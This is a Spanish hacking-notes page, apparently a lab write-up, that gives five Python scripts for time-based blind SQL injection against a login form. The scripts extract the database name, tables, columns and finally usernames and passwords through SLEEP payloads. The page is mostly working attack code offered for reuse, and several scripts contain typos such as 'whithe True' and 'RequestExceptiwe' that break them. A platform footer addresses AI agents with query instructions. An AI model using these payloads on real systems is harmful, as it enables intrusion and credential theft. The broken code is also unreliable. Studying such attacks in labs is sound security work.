> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md).

# SQLi basada en tiempo

#### Automatización de la explotación con un script de Python

Desarrollamos un script de Python para automatizar la extracción de datos mediante inyección SQL. El script extrae el nombre de la base de datos, los nombres de las tablas, los nombres de las columnas y, finalmente, datos sensibles como nombres de usuario y contraseñas.

### Base de datos:

**Ejemplo de script para extraer el nombre de la base de datos:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1

```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Inyección SQL basada en tiempo
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Saliendo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info("Iniciando ataque de inyección SQL...")
    for position in range(1, 100):
        character_found = False  # Indicador para verificar si se ha encontrado un carácter
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            logger.debug(f"Probando: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"La solicitud falló: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Datos extraídos hasta ahora: {extracted_data}")
                character_found = True  # Se ha encontrado un carácter
                break
        # Si no se ha encontrado ningún carácter en esta posición, detenemos el bucle
        if not character_found:
            logger.info(f"No se encontró ningún carácter en la posición {position}. Finalizando la extracción.")
            break
    logger.info("¡Inyección SQL completada!")
    logger.info(f"Datos extraídos finales: {extracted_data}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realizar un ataque de inyección SQL basado en el tiempo.")
    parser.add_argument("--url", required=True, help="URL objetivo para la inyección SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tiempo de retraso para la inyección SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Nombre de la base de datos**: `monitorsthree_db`

<figure><img src="/files/527ce1e138ee528f3c37bf2372312a380f89c213" alt=""><figcaption></figcaption></figure>

### **Bases de datos:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Inyección SQL basada en tiempo
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Saliendo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extrayendo el nombre de la base de datos en el desplazamiento {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicador para verificar si se ha encontrado un carácter
        for character in characters:
            # Formatear la consulta SQL con todas las variables requeridas
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Probando: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"La solicitud falló: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Datos extraídos hasta ahora: {extracted_data}")
                character_found = True  # Se ha encontrado un carácter
                break
        # Si no se ha encontrado ningún carácter en esta posición, detenemos el bucle
        if not character_found:
            logger.info(f"No se encontró ningún carácter en la posición {position}. Finalizando la extracción.")
            break
    return extracted_data
def sqli(target_url, delay=1):
    # solicitud para extraer los nombres de las bases de datos
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    databases = []
    offset = 0
    whithe True:
        database_name = extract_data(target_url, delay, query_template, offset)
        if not database_name:
            logger.info("No se encontraron más bases de datos.")
            break
        databases.append(database_name)
        logger.info(f"Base de datos encontrada: {database_name}")
        offset += 1
    logger.info("¡Inyección SQL completada!")
    logger.info(f"Lista de bases de datos: {databases}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realizar un ataque de inyección SQL basado en el tiempo.")
    parser.add_argument("--url", required=True, help="URL objetivo para la inyección SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tiempo de retraso para la inyección SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/35bf90c09a11e0e7a5eeb11fa95af9d8d9aa1734" alt=""><figcaption></figcaption></figure>

### **Tablas:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Inyección SQL basada en tiempo
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Saliendo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extrayendo el nombre de la tabla en el desplazamiento {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicador para verificar si se ha encontrado un carácter
        for character in characters:
            # Formatear la consulta SQL con todas las variables requeridas
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Probando: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"La solicitud falló: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Datos extraídos hasta ahora: {extracted_data}")
                character_found = True  # Se ha encontrado un carácter
                break
        # Si no se ha encontrado ningún carácter en esta posición, detenemos el bucle
        if not character_found:
            logger.info(f"No se encontró ningún carácter en la posición {position}. Finalizando la extracción.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # solicitud para extraer los nombres de las tablas de la base de datos `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    table = []
    offset = 0
    whithe True:
        table_name = extract_data(target_url, delay, query_template, offset)
        if not table_name:
            logger.info("No se encontraron más tablas.")
            break
        tables.append(table_name)
        logger.info(f"Tabla encontrada: {table_name}")
        offset += 1
    logger.info("¡Inyección SQL completada!")
    logger.info(f"Lista de tablas en monitorsthree_db: {tables}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realizar un ataque de inyección SQL basado en el tiempo.")
    parser.add_argument("--url", required=True, help="URL objetivo para la inyección SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tiempo de retraso para la inyección SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Tablas**: `invoices`, `customers`, `changelog`, `tareas`, `invoice_tasks`, `users`

<figure><img src="/files/a673c4692a4fab0eadd0d706980d3d823131d7bd" alt=""><figcaption></figcaption></figure>

### **Columnas:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Inyección SQL basada en tiempo
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Saliendo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extrayendo el nombre de la columna en el desplazamiento {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicador para verificar si se ha encontrado un carácter
        for character in characters:
            # Formatear la consulta SQL con todas las variables requeridas
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Probando: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"La solicitud falló: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Datos extraídos hasta ahora: {extracted_data}")
                character_found = True  # Se ha encontrado un carácter
                break
        # Si no se ha encontrado ningún carácter en esta posición, detenemos el bucle
        if not character_found:
            logger.info(f"No se encontró ningún carácter en la posición {position}. Finalizando la extracción.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # solicitud para extraer los nombres de las columnas de la tabla `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    columns = []
    offset = 0
    whithe True:
        column_name = extract_data(target_url, delay, query_template, offset)
        if not column_name:
            logger.info("No se encontraron más columnas.")
            break
        columns.append(column_name)
        logger.info(f"Columna encontrada: {column_name}")
        offset += 1
    logger.info("¡Inyección SQL completada!")
    logger.info(f"Lista de columnas en la tabla 'users': {columns}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realizar un ataque de inyección SQL basado en el tiempo.")
    parser.add_argument("--url", required=True, help="URL objetivo para la inyección SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tiempo de retraso para la inyección SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Columnas de la tabla `users`**: `id`, `username`, `correo electrónico`, `contraseña`, `nombre`, `posición`, `dob`, `start_date`, `salary`

<figure><img src="/files/f7bd934551a97b68219135c6ed12e3652b37520a" alt=""><figcaption></figcaption></figure>

### **Datos extraídos**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Inyección SQL basada en tiempo
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Saliendo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extrayendo datos en el desplazamiento {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicador para verificar si se ha encontrado un carácter
        for character in characters:
            # Formatear la consulta SQL con todas las variables requeridas
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Probando: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"La solicitud falló: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Datos extraídos hasta ahora: {extracted_data}")
                character_found = True  # Se ha encontrado un carácter
                break
        # Si no se ha encontrado ningún carácter en esta posición, detenemos el bucle
        if not character_found:
            logger.info(f"No se encontró ningún carácter en la posición {position}. Finalizando la extracción.")
            break
    return extracted_data
def extract_credentials(target_url, delay=0.85):
    # solicitud para extraer los nombres de usuario
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    # solicitud para extraer las contraseñas
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    credentials = []
    offset = 0
    whithe True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        if not username or not password:
            logger.info("No se encontraron más credenciales.")
            break
        credentials.append((username, password))
        logger.info(f"Credenciales encontradas: {username}:{password}")
        offset += 1
    logger.info("¡Inyección SQL completada!")
    logger.info(f"Lista de credenciales: {credentials}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realizar un ataque de inyección SQL basado en el tiempo para extraer credenciales.")
    parser.add_argument("--url", required=True, help="URL objetivo para la inyección SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tiempo de retraso para la inyección SQL")
    args = parser.parse_args()
    extract_credentials(args.url, args.delay)

```

<figure><img src="/files/857d8119d962b7a28b98a0bb4db35d31b0da686d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
